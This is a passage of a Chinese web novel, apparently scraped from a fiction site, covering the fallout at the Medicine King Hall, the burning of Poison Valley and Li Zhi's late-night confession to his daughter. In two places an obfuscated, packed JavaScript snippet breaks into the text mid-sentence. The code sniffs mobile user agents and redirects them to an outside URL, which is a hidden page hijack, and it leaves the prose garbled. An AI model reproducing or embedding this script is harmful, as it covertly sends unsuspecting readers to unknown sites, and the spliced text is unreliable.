萧妖雪确实也只是想逗弄一下周明理，毕竟刚刚他将自己那样带过来，萧妖雪心中有些不是滋味。 正当马儿还在悠闲的吃草的时候，萧妖雪就听到了一声长长的口哨，原本还闲庭信步的马儿，顿时像听到了军令一样，冲着声音就冲过去，萧妖雪急忙去拉缰绳却丝毫无用。 最后就这样被马载着稳稳地停在了周明理面前，萧妖雪难免有些尴尬，还想夹马让它离开，但是这畜牲现在倒是纹丝不动了。 然后萧妖雪就看着周明理翻身上马坐到了自己身后，却也不走。 “你干嘛呢？走呀？”萧妖雪有些迷糊。 “你刚刚让我走回去，我现在只是上马休息下，等会就走，但是回去的路这么远，我走累了我就要上马休息一下。你说好不好。” “你简直……，走吧一起骑回去了。”萧妖雪确实没想到这周明理竟然这样无耻，他确实遵守诺言了，但是自己也走不了，再说了来来回回这马多辛苦，那就将就一下一起回去吧。 “你会驭马？”路上萧妖雪突然想起了周明理刚刚行为，以及之前药王殿中她虽身处百草塔，但是也听到了马蹄奔腾的声音，想必也是周明理出手的。 “是我母亲教我的，在西域人总是要有一技之长。” “这确实是个好本事，逃跑都要快些。”萧妖雪不知为何总是控制不住想要调侃几句，但又想到这是他母妃教给他的不能说的太不是东西。“当然还可以保护你。” “还有更好的用处呢，以后你就知道了。” 二人到了药王殿北苑的时候，李安国已经把该抓的人都抓了，甚至也包括了周明理房中的宋衍，面对昔日同门的指认，宋衍也难再推脱，承认了这一切的谋划都是毒谷所为，而那些假扮成药王殿弟子和长老的人经过身份核实也确定是毒谷之人。 检查了伤者大多都是擦伤，没有致命伤，这次事件虽然惊心动魄，但是无人身亡已经是最好的结果了。 药王殿的人被放出来后，就急忙开炉炼药，给各位受了惊吓的小姐们炼药。之前被毒谷发出去的白玉丸赠送，药王殿也毫不含糊，就按着邀请函上缩写送了，但是还是因为人数过多库存不足，有一些小姐的药之后才能送上门。 萧妖雪和周明理找到了李安国的时候，他正在黄清落的房中，黄清落在挖萧妖雪的时候因为太过用力，两只手的指甲都劈了，现在正有一个药王殿的弟子在给她包扎。 虽然已经上药了，但看得出来疼也是真的疼，黄清落现在都还两眼含泪，再看一旁的李安国，萧妖雪清晰的从他脸上看出了心疼。 要说这药王殿确实不错，黄清落伤在手指，包扎完之后绷带竟然紧紧贴附着手指，没有半分臃肿的感觉，在绷带纹路在还显得黄清落的手指更加修长。 看到萧妖雪进来了，黄清落也不顾手指疼痛，一个箭步就冲到了萧妖雪的怀里。 “妖雪，你真的吓死我了。”这话才说口，刚刚包扎时候都能忍住的眼泪却在现在夺眶而出。 萧妖雪被她这样一哭心也软了，回手将黄清落也抱住，任由她靠在自己怀里，慢慢的将她引到床边坐下。 周明理见在这里也插不上手，便招呼着李安国出去，谁料这人还一步三回头，一副恋恋不舍的样子。 “走了，给人家姐妹说说体己话，你又不会安慰人，在那扎根当装饰。”说着就一把拉着李安国出了门。 二人在院子里找了个地方坐下。 李安国显然还在担心黄清落，这让周明理有些无语。 “李大人？李安国！” “殿下。” 周明理总算是把李安国的魂给唤回来了。 “别想黄姑娘了，妖雪在里面陪着她，没事的。我有事要问你。” “殿下但说无妨。” “不是说药王江涨水，药山营的人要过来要三天之久，你们怎么这么快？” 李安国听到这个问题还是犹豫了一会，毕竟缩地千里这个阵法始终是个禁术，三殿下现在虽说是妹妹的未婚夫，但是他也不太清楚，这位殿下的立场。 “你放心说就行了，若真有什么不合法的我也可以替你挡一挡呗。” “我们的哨岗看到了药王殿这边的异状，我们就筹划过来，奈何药王江上的桥都被冲断了。所以我们就借用了一个阵法，这才得以赶在悲剧之前到。” “缩地千里？” 李安国也没想到周明理竟然这么轻松就说出了这个阵法的名字，但是事已至此再否认也没有任何意义了。 “是。” “你不是刚到药山营监军吗？怎么这么多人愿意跟着你。” “之前袁大人安排了药山营自检了，我来的时候敌我已经很分明了。” “原来如此，那这件事你想好怎么给上面汇报了吗？” “实话实说。” “李安国你当真是李治的儿子？还是他的仇人？你可知道用禁术那可是满门抄斩的。” “那我能如何？这阵法是我的随从画的，跟着我的人都看到了。” “你把这本阵谱和那个会画阵的小子一同上交了。” “那怎么行。”李安国顿时不乐意了，丁游也是为了帮他才暴露了，他宁可自己去承担这个罪名，让丁游去浪迹天涯，也不可能将他交出去，为人总不能恩将仇报。 “你想错了，最近南渊和北盟压东梁压的紧，我听说工匠司有个叫赵江河的做的机巧很是巧妙，而且寻常人也可以使用，但是如果用阵法来控制，又可以省下不少人力物力。我们一起把这个小子送进工匠司，这薄凉宗也算有了传承。” 李安国没想到周明理竟然考虑的这么全面，但是却是与当时父亲对于丁游的期待完全吻合，只是不知龙颜喜怒无常，这位久居边城的皇子是否猜得透，此事之后还是同妖雪和父亲在商量商量。 就在药王殿这边一切都恢复了平静的时候，毒谷却乱成了一锅粥。 徐战带着人找到了流入毒谷的暗河将提前准备好的火油倒入了水中，油比水轻，自然而然浮在了水面上，随着水流深入毒谷。 副手将火把递给徐战，徐战看着那水面上圈圈绕绕的油晕说道：“你们这群背信弃义的虫子，如果我女儿能有幸活着回来，我给你们保证给烧点纸钱。要是没有，老子就让阎王发配你们下十八层地狱。” 说罢将火把扔入了水中，火焰瞬间点燃了水面上的火油，蹿入暗河的深处，不过一会原本漆黑幽暗的河水，已经火光四起。 徐战对着身后的队伍吩咐道：“给我看好那几个出口，一个不留。” “是！”毒谷之中本就是瘴气环绕，草木茂盛，这水中的火焰舔到岸上的草木很快就引燃了草堆，紧接着树木，火势越来越大，烧得噼里啪啦的。 而在这滚滚浓烟中还夹杂着人的喊叫声，徐战虽然听不清楚，但是创造过太多这样的尸横遍野的场景，徐战闭上眼都能想象到里面的情景。 森林中四面火海，可怜的家伙四处逃窜，有水性好的想走暗河，却不料暗河已经变成了一条火河。 毒谷喜欢养虫，他们现在肯定还有不少人抱着他们的虫子到处寻找出路。不过应该很容易被倒塌的树木打中变成一滩烂泥。 但是应该也有幸运儿跑到了出口，可是地上洒满了雄黄，他们那些小宝贝一闻立刻就登天了，而他们这样赤手空拳的很快也会被守在那里将士抹杀。 毒谷这个世人眼中的毒瘤，今天就由他徐战来铲除。 至于那千足王无论他是否在这毒谷之中，以后他都是一条丧家之犬，就凭借他身上那几只臭虫多活几日罢了。 毒谷的火烧了一天一夜，大火熄灭后原本郁郁葱葱的森林化作了焦炭，据进去打扫的人说，没有见到什么烧焦动物的尸体，但是遍地都虫子的尸体。而人被烧焦的尸体足足找到五十多具，连同被守在外围的官兵所杀的加起来有六十人，但是最后经过辨认可以确定千足王窦毒不在其中。 消息报给徐战后，他好似也不太在意，毕竟女儿安全的消息已经传回来了，不过传回来的消息中还有这次药王殿的情况，这个毒谷简直胃口太大了，徐战现在都有些后悔当时与他们合作，他们这是毒已侵心，简直不配为人。 药王殿和毒谷的事情，很快就传遍了京都，李安国和萧妖雪商量后也决定就按周明理所说去汇报，一切都异常顺利，圣人并没有怪罪，而是嘉奖了他，同时也把丁游直接招进了工匠司，跟着赵江河干活。 周明理因为皇子身份还在，也不好得在药王殿多停留，事态安定后，便先行回京，面见了圣人。原以为自己在京都已经呆了不少时间了，恐怕圣人要让自己回胡笳城，却不料圣人见了他什么都没提，每天不是拉着他赏花喂鱼，就是拉着他品茶下棋。完全没有要让他离开的意思。这样的父子时光当然也是周明理所期待的。更别说萧妖雪还没有回京，他可不想就这样还没有道别就离开。 至于萧妖雪、袁梅、黄清落则继续留在了药王殿中，最主要的原因是袁梅吃了徐菀露的洗髓丸之后，当时还不觉得，可是之后就忽冷忽热，一会如坠冰窟，一会又如处于烈火之中。 药王殿的人却说这是洗髓丸的正常的情况，只需要让她好好休息，期间看好她不要让她有任何自残的行为就好了。 于是萧妖雪和黄清落就换着班的守袁梅，期间袁梅确实因为太过于难受，出现了自残的行为，前几次刚好都是萧妖雪很轻松就给她控制住了。 可是后一次，却是黄清落守夜的时候，袁梅打碎了瓷杯要割腕，黄清落上前制止，还被她划伤了，好在袁梅的理智还没有完全消散，看到黄清落流血了，立刻就停手，但是却推开她向着门外跑去。 而刚刚她们拉扯的时候动静不小，萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧妖雪和黄清落刚准备打招呼，却不料袁墨对着袁梅说道：“小梅，收拾下你的东西随我回去。”表情也没有平日那样的平静，在他看萧妖雪的时候，萧妖雪甚至还感受到了一丝杀气。 袁梅刚把行李放上了他的马车，他便过来，说道：“这次药王殿之行有劳二位了，之后袁梅有些重要的事情要处理，恐怕没有那么多机会与二位见面了，我在这替她先赔个不是。”说完就拉着袁梅上车了，甚至不给袁梅过来道别的机会。 这个场景看的萧、黄二人一头雾水。 药王殿和毒谷的事情已经传遍了京都，因为遭此劫难，药王殿的丹药在京都的价格更是高居不下。成了富商贵族争相购买的热品，还有不少上好的丹药送进了宫中，据说最近圣人的身体有些抱恙，五殿下的母妃惠妃听说这药王殿的丹药有奇效，就给圣人送了一颗，服下之后果然病痛全消，就开始有大夫给圣人用这药王殿的丹药，希望圣人千秋万代。 周钦德小记： 书接上回说到胡令对着门口大喝一声“什么人！” 走出来之人正是周钦德，而就在胡家兄弟二人的注意都被周钦德吸引的时候，他们身后悄无声息的落下了两道黑影，直到黑影落地发出声响二人才注意到。 胡令环顾几人确定那两黑衣人应当周钦德的手下后，才松了一口气，但是这样暗中潜入只能说来者不善，胡令当然也没有什么好脸色“德王殿下这是演的哪出？” “我刚刚在门外听到了胡城主所说的将军阁的事情觉得颇为感兴趣，便想着留下多听两句。” “多听两句也不必上房梁上听吧。”胡令依然毫不松懈。 “哈哈哈，胡城主讲的好，我这两属下当然想离近点听。” “德王殿下，莫不是也信这个故事？”胡令嗅到危险的气味。 “我当然信，不妨介绍下吧，这位是武清。” 说着周钦德指向了两个黑衣人中一个，对方也配合的脱下面罩。 胡令和胡铭虽然都没有见过武清，但是之前他断秋水的名声还是听过，街上也有不少他的画像，如此看来应当是错不了。 “武清不是被灭门了吗？”胡明知道这个事，所以问了出来。 “不错，灭我族人之人正是将军阁，只因为我当时进了将军阁，却没有留下。胡公子已经在将军阁干了这么久才离开，他们不会放过你的。” 听到这话胡铭胡令脸上俱是愁容。 “你们打算怎么做？” “我们会帮你们，但是我们要活口。” “好！” 就在这这边达成协议后，后院却想起女人的惊叫，几人都是心中一紧，到了后院都被眼前的景象吓呆了。 地面上毫无规律的亮起阵法，阵法中或是出现人，又或是人从阵法上消失，往往复复毫无规律。 胡铭胡令的母亲身上已经带了伤躺在院子边上奄奄一息，众人上前查看后才发现，这不仅有伤还有毒，恐怕是回天乏术了。 院子中江秋鸿挺着一个大肚子还拿着剑在奋力抗敌，好在她底子好，这些人还不是她的对手，但是却能把她缠得死死的。 胡令见状急忙上前帮忙，胡铭也紧随其后。 周钦德给袁清使了个眼色袁清绕道一旁，将江秋鸿小心带离了战场，三人快速隐没进了黑暗中。 而武清则是提剑上前和他们并肩作战，可是不怎么怎么回事这敌人越大越多，地上的阵法闪烁也更加平凡，三人最后被合围在院中。 51. 酒后真情 “李治，你当真想好了？” “圣人，事情是我做的，好处是我拿的，如今要背负这罪名，除了我还有谁更适合？” 深夜的偏殿满足圣人周钦德喜爱，并没有明亮的灯火，整个偏殿中就只有这酒桌附近有几株摇曳的蜡烛。 周钦德兴许是今夜酒喝多了一点，又或是身旁的都是亲近之人，已经不需要他端着架子。他就这样斜斜的靠在软榻上，没有半分君王的盛气。 一旁坐着安静斟酒的周明理，这几日圣人头疼的厉害，都是周明理在贴身伺候，今日周钦德说要叫上李治一同在偏殿喝酒，却没有屏退周明理，而是让他一同落座。 至于这第三人李治则是端坐一旁，如今虽然圣人已经不再注重这君臣礼节，那是因为他是君，而李治作为臣可就没有各样的资格了，李治却也不像平日里那般亦步亦趋，毕竟这是恐怕是他这辈子最后一次喝圣人的酒了。 “唉。”周钦德一声长叹回荡在空荡的大殿中。 “李治，你不愧是他选中的人，太像他了。”周钦德看着李治的姿态难免感慨道。 “圣人说笑了，微臣只不过是袁大人的朋友，哪会有袁墨像他。” “不不不，你不明白，有一种袁墨就算跟着他爹一辈子都不会的性格，这个性格简直和他一模一样。” 说罢，周钦德又自己闷头喝了一杯酒，周明理给他倒酒的时候，他对着周明理说道：“明理，你不知道，当年袁清来和我诀别的时候我们也是在这个偏殿里喝的酒。当时坐在这倒酒就是他李治，而坐在那的是袁清。” “圣人，你醉了。”李治看着深陷回忆有些弄不明白的现状的周钦德，想劝他不要喝了，但是话却怎么都说不出口，毕竟现在他也想一醉方休。 “对，我醉了但我还想喝，你不是也舍不得放下杯子吗？”周钦德看着李治手中还紧握着的酒杯。 “袁清走的那晚上我们喝了通宵，我第二天的醉得路都走不直。但袁清还稳稳当当的走上断头台，我不服，我这些年苦练酒量。可是第二天就算我能走稳了，我还是好难受，你说当时袁清他是不是也很难受？” “……” 这话在场的谁也说不明白，所以代替回答的只有咕嘟咕嘟的喝酒声，以及哗啦啦倒酒声，就这样持续了一夜。 而李府中萧妖雪则苦等了一夜，这次前往药王殿的路上，她想了很多有关李治的事情，虽然当年那事已经确凿无疑，但是她还是想听听这话从李治口中会怎么说，怎奈药王殿回来后多了很多事情要处理，李安国这次铤而走险，自然少不了朝臣的抨击，背后都是潇湘阁和李治的势力为他撑腰。 而他们回到京都后，才听说这毒谷被灭谷之事，虽然潇湘阁早已有人去探查，但是却没有把事情和药王殿联系起来，如今一切信息又要重新整理，而这一切都要经过萧妖雪的手。 她甚至连之前遇上袁墨的异状都来不及去查。这会儿终于等到受伤的事情空了不少，她想到的第一件事就是找父亲谈谈，毕竟根据自己收集到的消息，当年之事想必是他们谋划的一个局，只要父亲亲口承认这是并非他本愿，那萧妖雪就有九成的把握，为李家从这其中脱身。 可是这都从天亮等到了天黑，还是没见到李治回来，却等待了潇湘阁的急信。沈轻离知道萧妖雪的身份，一般邀请函都是邀请少阁主，这样为了避免少阁主身份暴露，都是要周转多人才会到萧妖雪手上，速度难免会慢了不少。 而这次沈轻离竟然直接送信给萧妖雪，邀她速去潇湘阁，看得出来此事急得很。宫中恰恰又在这时送出了书信说，李治今日要在宫中用膳，让李府的不用再等了，萧妖雪也便同厨房说了一声就奔着潇湘阁去了。 今日沈轻离没有邀请少阁主，萧妖雪自然也不伪装了，到的速度更快了，只是进了屋却见到一脸焦急的沈轻离，似乎萧妖雪已经让她等了许久。 见了萧妖雪，沈轻离甚至就只是简单的行了礼，连茶水都来不及给萧妖雪倒上，就说道：“少阁主不好了，账本出问题了。” “没有拿到？”听到这话萧妖雪也紧张了起来。 “拿倒是拿到了。”沈轻离似乎又开始有些纠结，毕竟拿到了又出事那事情只会更严重。 “到底怎么了？”萧妖雪也意识到事情的严重性。 “前几天袁墨来楼里了。”不料沈轻离却话题一转，说到了袁墨，但是听到这话萧妖雪脸色更差了。 “在我回来之前？” “不错，然后他就要照这个账本，我当时就告诉他潇湘阁不知情。他也没说什么就走，但是今天早上，刑案司的眼线说他毫无征兆的开始拟搜查令，要查晴儿，因为当时只有她进去过。” “他是怎么知道账本的事情的？” “还不清楚。” “账本现在在哪？” “在这。”说着沈轻离就递过去了那本晴儿从崔伦府上带出来的账本。 萧妖雪又认真地翻阅了一遍，她有十成的把握，这个账本不是原稿，应当是有人誊抄过，当时晴儿回来也说，这放账本的地方留下的印记与这个账本的大小非常不符合。 萧妖雪本想着事发突然，崔家应当还来不及做假，没想到还是晚了一步，现在这烫手山芋真落到他们潇湘阁的手上，也不知道要留多大一个疤。 “我拿去给袁墨吧。”萧妖雪说道，她抱着侥幸是袁墨自己发现那里有件东西不见了的，而不是有人给他说了什么不该说的话。 “不行，少阁主。此事已经很蹊跷，无论是谁都不能是你。” “但是，万一……” “少阁主，我在京都做了十多年的楼主，我从来没有见过什么万一。这个账本我不会留在晴儿那里，我会亲自保管，今日叫你过来也不过是通知你一下这事，日后你若遇上袁大人也好有个准备。至于这账本是我们京都潇湘阁的东西，怎么处置自然是要听从我这个阁主的。” “轻离，你……” “萧姑娘想必还没有用膳，楼下三殿下已经到了，你们一会用完膳便一同早些回去吧。” 说着沈轻离就摆出了送客的姿势，萧妖雪明白京都潇湘阁楼主手眼通天，但是这件事根本就是自己的误判，怎么能让她来承担。 心想不行，萧妖雪回身就打算硬抢账本，却不料沈轻离似乎是早有防备，后退一步侧身，将账本藏在了身后，顺势在萧妖雪身上轻点了几下，萧妖雪顿时觉得浑身如同过电一般，一阵酥软，连站稳都有些困难。 萧妖雪心中大骇，自己是练气出身，就算被人捅几个窟窿都不会如此无力，刚刚沈轻离显然没有动用多少气息，但是自己竟然突然就破功了。 “你做了什么。”萧妖雪开口才发现，自己不仅身子软了，竟然连说话声音都软了。 “少阁主，都说了这事我来处理，三殿下在楼下等着你了。”说着就去搀扶萧妖雪，萧妖雪一起身那酥麻再度席卷全身，直接靠在了墙板上，呼吸都不免沉重了不少。 “沈轻离，怎么会这样，你给我下药了？” “少阁主，我进潇湘阁已经足足二十余年，对付女人的办法可比男人多，跟别说你这样未经世事的女孩了。解药我已经放在楼下的饭菜里了，我扶你下去。” “你，嘶”萧妖雪本还想再争辩几句，但是开口之后却还是不得不选择放弃，现在她最好的选择是咬紧牙关。 沈轻离将萧妖雪送到了包房，菜品已经早早的上了，周明理也在里面等着了，看他杯中的茶也不过喝了一两口，想必是刚到不久。 萧妖雪虽然现在全身不适，但是该有礼节都没落下，好在周明理也是饿着过来，二人也没怎么寒暄，就动了筷子。 几口饭菜下去，萧妖雪身上的异样才慢慢消减下去。 “妖雪，你好点了吗？刚刚看你好像不太舒服？” 周明理从进来他两打招呼就听着有些不对劲了，但是沈轻离在场他也不好得问，如今这沈楼主刚走，周明理也急忙询问情况。却没想到，萧妖雪再次开口已经完全与刚刚不同了，好像已经完全恢复了。 “我没事，殿……你怎么会想着来这吃饭。” “这两天都在宫里陪父皇吃饭，嘴都淡出个鸟来了，这不今天恰好有空，出来换换口味。” 看着周明理吃得津津有味，萧妖雪原本已经消失的胃口，竟然又回来，也跟着吃了不少。 这一桌饭菜竟然还吃得干干净净。出来后周明理说送萧妖雪回李府，萧妖雪却以想走走为由拒绝了。 没想到，周明理也不含糊，就这样陪着她走了一路。眼见要到李府了，周明理突然没原没由的来了一句。 “妖雪，以后你有任何不舒服，都可以同我说，无论什么。” 说完他竟然还有些不好意思，匆匆道别就离开，留下萧妖雪顶着乱哄哄的脑子站在李府门前。 他这是？听出什么来了？！ 但是还来不及她多想，李府的门就开了，小厮将萧妖雪迎了进来，说道：“小姐，老爷在客房，您要不要过去看看。” 李治睡客房？这样的情况之前也不是没有过，据说一开始李治喝了酒就会去睡客房，但是后来只要他还清醒，王氏也不会把他推去客房，今日这睡客房，到底是喝了多少。 来了客房萧妖雪才算是彻底领教了什么叫做酒气熏天，王氏在门外招呼着丫鬟换衣服的换衣服，倒水的倒水，擦脸的擦脸。 看到萧妖雪过来，又忍不住骂道：“妖雪，你说他都多大年纪，还喝这么多酒，自己什么能耐自己不清楚呀。喝了还回来，他就不会在外面找个干净地方，醒了再回来，简直就是折腾人。” “夫人费心了，你先回去休息吧，我在这里看着就行了。” 王氏兴许也是上了年纪，现在这时辰着实有些晚了，眼见李治这边已经收拾得差不多了，她也不推脱，便先行回去睡了。 当最后一个侍女，端着脏水出来后，萧妖雪才进到了这客房中。 虽说是换了干净的衣服，屋内也燃了熏香，但是还是一股浓浓的酒气。 萧妖雪走到床边，看着躺着的李治，他现在双鬓比自己第一次见他的时候已经白了不少。或许是因为这样近距离的观察，萧妖雪觉得他脸上的皱纹也好多。这几天他没回来是不是遇上了什么不合心的事情，怎么都醉成这样了眉头还是紧紧拧着。 想必还是酒气上浮的原因，李治的额头上又浮出了一层薄汗，萧妖雪也没有再叫侍女，自己拧了一把手帕给李治擦去脸上的汗水。 刚刚将手帕放回水盆，李治却突然开口：“妖雪，你终于愿意过来了。” 萧妖雪也是吓了一跳，转头看向李治，只见他眼神清醒得很。 “你没醉？” “醉了，只是和圣人喝了这么多年酒有点本事，可以维持清醒罢了。” “醉了就早点睡，这是在家里，硬撑着干嘛？”说罢萧妖雪就把想要坐起来李治往床上按。 却不料李治完全不顺从，将她的手拿开说道：“妖雪你不知道吧，为什么我喝醉了王氏就让我睡客房。她说我喝醉了话多，晚上不睡觉要拉着她说话，她现在还贪睡，不愿意和我说话。妖雪今晚既然你过来了，你就陪我说说话，说什么都可以。” 听到这萧妖雪难免心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907133|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一酸，其实她知道上次自己去了潇湘谷之后，李治就一直想找自己聊聊，只是自己一直在躲他。 “父亲……” “这个称呼你若觉得我不配，就不用再叫了。你这次回潇湘谷，想必萧云雁也同你说了吧。当年你被刺杀的真相。” 李治也是毫不保留，开门见山的就说了出来。 “说了。” “她怎么说的。” “师傅说都是你的安排。” “她说的应该都没错，但是妖雪不论你信不信我还想再说一点，其实你活下来也是我们预料中的一环。” “为什么这么说？” “这是当时袁清同我说的，他说你可以活，只要把刺杀的地方选在那，你就不会死。他之前在京都与你师傅见了一面，京都发生这么大的事情，她一定是要亲自将消息传回潇湘谷的，而那里是她的必经之路。所以我们算好了时间，为的就是让她在那看到你。” “你们怎么知道她会救我？”萧妖雪不明白，如果他们只算计到这一步，萧云雁也很有可能会袖手旁观。 “袁清太了解她了，他说萧云雁在的时候，潇湘阁蒸蒸日上，最主要的原因是她有一颗慈悲之心，所以她一定会救。” “所以其实你一直知道我在哪，却一直没有来看我？”萧妖雪心中觉得有些不可思议，明明曾经父亲那么喜欢自己，这些年也知道自己还活着，竟然能忍住足足十年，他都不会想来看看自己吃得怎么样，过得怎么样。 他还知道自己是生活在青楼里，他就从来都没担心过自己吗？ “我与你文妆师傅一直有书信往来，她一直在给我讲你的生活。这些年我对不起就只有你和你母亲，还好你现在回来了，我还能补偿你一下，可惜你母亲再也回不来了。” 听到这话，就算是萧妖雪也控制不住眼中的泪水，萧妖雪一直是一个珍惜活人的人，但是她明白李治会因为母亲的离开而痛苦。如果说自己的一切李治都已经谋划好了，恐怕母亲的离开是他这辈子的遗憾。 “父亲。”这个词在说出口，就不似刚刚那样不太情绪。 “父亲，你放心，我们一定会好好的，一直走下去的。”说完萧妖雪也不介意李治身上浓重的酒气，扑到了他的怀里。 李治却似得了什么至宝一般，只敢轻轻下手回抱住女儿，就像是只要力气大了，她就会推开他一样。 “妖雪，我保证这次你们一定都会好好的。” 这话从萧妖雪头顶传来，虽是暖心的安慰，但是萧妖雪却觉得突然身坠入冰窟，抬起脸难以置信地看向李治。 “父亲，我有办法的，我们可以……” “好了，妖雪你和安国都长大了，无忧现在也拜了个好师傅，我这辈子已经很满足了，只要把那些欠着的债还了，我就知足了。” 萧妖雪当然知道这话是什么意思，看来现在李治已经做了他的选择，一切已经成为定局了。 “妖雪，你不困的话再和我说说你这些年在外面闯荡的经历呗。” “好，父亲，那年我去……” 萧云雁小记： 萧云雁和林梦一路快马加鞭到了胡笳城，城外林梦就把伪装的东西给了萧云雁，二人乔装本来进城后，萧云雁还想让林梦却客栈先休息，却不料，林梦根本不给她这样的机会，直接在胡笳城中纵马，一路冲到了城主府，破门而入后，就看到三人正在被围攻的场面。 武清见是萧云雁来了也送了一口气，而那些黑衣人，见有人来便分了神，胡令抓住机会出手，终于是突破了合围。 林梦对着胡铭胡令喊道：“操纵阵法的人在城主府东南面的一个高楼上，你们熟悉路的快去，不然你们不是对手。”说话间林梦已经挥着鞭子上去了。 萧云雁担心林梦受伤，也紧跟着她加入战场。 胡铭听了这话，登时就向着东南面突围出去，胡令自然是不放心，看着武清他们几人还应付得过来，也跟着去了。 不了他们兄弟刚走，地上的传送阵又亮了起来，很明显，那些人要去追他们了。 就在这时，武清突然取下了面罩，对着在场的众人吼道：“我就是武清，你们杀了我一次没杀死，今天要是我活着离开，我就把你们所有的事情捅出去。” 这话果然起了作用，原本在场的人数不减反增，那些黑衣人都冲着武清杀了顾去。 萧云雁看了林梦几招，觉得这姑娘确实有本事，所以也放开手脚，不再忧心她的安慰。 胡铭率先找到了站在东南面哨楼上的段天行，现在的段天行春风得意，在这运筹帷幄，见到胡铭也丝毫不慌张。 反倒还有几分兴奋，似乎是胡铭赶着送人头过来。 二人很快就缠打在一起，之前在荷县二人就接触过一次，显然胡铭还是差段天行几分。 现在打起来，胡铭的气息一直在被压制，他的气云九式的威力却因为对方强有力攻势翻着翻的往上涨，眼见九式将成，段天行也是选择与他硬碰硬，胡铭不禁心中暗喜，因为刚刚八式的时候，他已经隐隐觉得段天行有些难以招架了，这次他要硬接必败无疑。 而就在二者气息即将相碰的时候，段天行突然露出一个阴险的笑容，下一面他身前就亮起一个阵法，胡铭这一式狠狠的击中了柱子，整个哨楼顶砰的一声化作粉末。 而段天行这蓄力一击却落在楼下正在赶来的胡令身上。胡令毫无防备，就被段天行那沾满杀气的刀捅了个对穿，那刀上的亡魂好似因为吸食了鲜血，激动的发出嗡鸣。 胡令就这样断了气，而段天行包含杀气的眼睛又盯上了哨楼之上的胡铭。 52. 情意痛消 萧妖雪再从房中出来的时候天光已经微亮了，本以为整个李府都还在熟睡中，没想到出来就遇到了王氏。 “夫人？你怎么这么早就过来了？” “我算着时间，他应该睡了，妖雪你好像每天都有很多事情要处理，估计要出去，我就说过来看看，你如果不在，他这样还是需要一个人照顾。” 萧妖雪此时竟然觉得这件事上，自己的心思完全没有眼前这个女人的多，她只想着父亲睡了，她就可以出去忙活她的事情了，完全没想到，这样宿醉的会不会头痛，会不会口渴，会不会身体不舒服，而身旁却没有一个人。 “那便有劳夫人了。”但是现在萧妖雪确实有自己要离开去做的事情，这内宅的事情果然还是要交给内宅的人来处理。 “妖雪，你最近辛苦，现在时辰还早你也休息会再出门吧。” “嗯。”萧妖雪淡淡地应下，便回房收拾收拾，就靠在桌上的这会功夫，还真的浅浅的睡了一觉。 醒过来之后，确实精神头好了不少，只是这时辰看起来有些晚了。 萧妖雪急忙忙出了门，一路奔着兰巷而去，快到的时候，周围的房中已经飘出了阵阵饭香。 开门的不是袁府的小厮，而是袁墨本人。 “你来做什么？”袁墨就这样堵着门口问话，丝毫没有要萧妖雪进去的意思。 “我……我来看看袁梅，她现在身体怎么样？”、 “她好得很，你可以走了。” “袁墨你……”话还没说完，袁墨就要关门了。 “那账本不是你想的那样。”听到这话，袁墨关门的动作滞了一下。 “无论是什么，你都没有想过要给我，这一点我们已经没什么好说了。”袁墨的回答还是很冰冷，大门又继续吱呀呀的关上。 “兄长，等会。”院子里却突然传来了袁梅的声音。 “兄长，我要去找赵大人，让我同妖雪一起去吧。” 袁梅急忙过来，推开了即将被关上的大门。这次袁墨倒是没有什么，又冷冷地瞥了萧妖雪一眼，转身回了院子，这就算是默认了。 袁梅看着兄长走了以后，也是松了一口气，好似担心袁墨反悔一样，拉着萧妖雪就离开了兰巷。 “妖雪，你最近还是离我哥远一些吧，他这些日子怪怪的。” “你不知道是什么原因？” “他没和我说。” 萧妖雪起初以为是袁墨担心袁梅知道心中不好受，后面再想想恐怕袁墨是打算孤注一掷，把袁梅彻底踢出这场闹剧，可怎奈何天总不遂人意。 二人离开了兰巷后，便向着赵江河府邸漫无目的的逛过去，如今袁梅和周明启的婚事已经热热闹闹的开始操办了，袁梅与赵江河这一纸婚书，虽然在圣人口谕面前不值一提，但是在袁梅看来她也应该好好的归置归置。 二人晃荡到赵家并没有用多少时间，而袁梅却在门口踟蹰了好久。 “妖雪，你说我这样做好吗？” “他应该早就知道了，听我兄长说他最近出了家门就是去工匠司，出了工匠司就是回家。” “那好吧。” 袁梅好像鼓起了巨大的勇气上前叩响了门，萧妖雪在一旁等她，门开了却不见她进去，而是过了一会又转了过来。 “怎么了？” “家丁说他今天休沐，但是这几天都住在工匠司。” 这话萧妖雪听了都忍不住皱眉，赵江河平日相处下来是一个生活很规律，甚至有些刻板的人，所以李安国说他每日两点一线，萧妖雪都觉得这不算什么。 可是如今这样一个“搬家”的行为，完全不符合他，看来这段时间他的心情恐怕也是跌落了谷底。 而且他住在工匠司，若是他没有将婚书放在身边，袁梅今日去就很有可能跑空。 但是袁梅好像并没有考虑这么多，又拉着萧妖雪向着工匠司去了。 工匠司中，丁游有些担心地看着满脸憔悴的赵江河，道：“师傅，你去休息会吧，你这样会撑不住的。” “让你的刻录的阵法还没刻完吧，我这关键时候，别来打扰我。” 赵江河头也不抬，就嘴上安排着丁游，丁游无奈，只好回到自己的桌前，继续刻录控制木偶的阵法。 就在这时一个通传的小厮在门口探头探脑，丁游本来就还没有沉下心来，注意力很快就被那探头探脑的小厮吸引了。又放下了刚刚拿起的刻刀，出了门去。 “怎么了？有事直接说呀。”看着小厮满脸为难，丁游便把他拉到了更远的地方，示意他在这里赵江河听不到。 “袁姑娘和萧姑娘来了。” “小姐来了？” “萧姑娘不是重点，袁姑娘才是。”显然小厮对于丁游的关注点有些不满意。 “袁姐姐，来找师傅？”丁游的脑子终于转过来了。 